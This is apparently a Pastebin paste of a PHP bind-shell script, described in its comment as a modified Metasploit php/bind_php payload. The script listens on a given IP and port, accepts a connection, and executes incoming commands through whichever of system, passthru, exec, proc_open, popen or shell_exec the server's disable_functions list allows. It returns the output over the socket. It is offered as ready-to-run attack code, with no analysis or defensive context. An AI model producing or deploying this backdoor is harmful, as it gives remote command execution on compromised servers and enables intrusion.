Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/php
- <?php
- /*
- Knull's modified `msfpayload php/bind_php R`
- */
- if ($argc === 3) {
- @set_time_limit(0);
- @ignore_user_abort(1);
- @ini_set('max_execution_time',0);
- $df=@ini_get('disable_functions');
- if(!empty($df)){
- $df=preg_replace('/[, ]+/', ',', $df);
- $df=explode(',', $df);
- $df=array_map('trim', $df);
- }else{
- $df=array();
- }
- $port=$argv[2];
- $ip=$argv[1];
- $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
- $ret=@socket_bind($sock,$ip,$port);
- $ret=@socket_listen($sock,5);
- $msgsock=@socket_accept($sock);
- @socket_close($sock);
- while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
- {
- $o = '';
- $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
- if(FALSE===$c){break;}
- if(substr($c,0,3) == 'cd '){
- chdir(substr($c,3,-1));
- } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
- break;
- }else{
- if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
- $c=$c." 2>&1\n";
- }
- $isc='is_callable';
- $ina='in_array';
- if($isc('system')and!$ina('system',$df)){
- ob_start();
- system($c);
- $o=ob_get_contents();
- ob_end_clean();
- }else if($isc('passthru')and!$ina('passthru',$df)){
- ob_start();
- passthru($c);
- $o=ob_get_contents();
- ob_end_clean();
- }else if($isc('exec')and!$ina('exec',$df)){
- $o=array();
- exec($c,$o);
- $o=join(chr(10),$o).chr(10);
- }else if($isc('proc_open')and!$ina('proc_open',$df)){
- $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
- $o=NULL;
- while(!feof($pipes[1])){
- $o.=fread($pipes[1],1024);
- }
- @proc_close($handle);
- }else if($isc('popen')and!$ina('popen',$df)){
- $fp=popen($c,'r');
- $o=NULL;
- if(is_resource($fp)){
- while(!feof($fp)){
- $o.=fread($fp,1024);
- }
- }
- @pclose($fp);
- }else if($isc('shell_exec')and!$ina('shell_exec',$df)){
- $o=shell_exec($c);
- }else {
- $o=0;
- }
- }
- @socket_write($msgsock,$o,strlen($o));
- }
- @socket_close($msgsock);
- } else {
- echo 'usage: ' . $argv[0] . ' port' . "\n";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment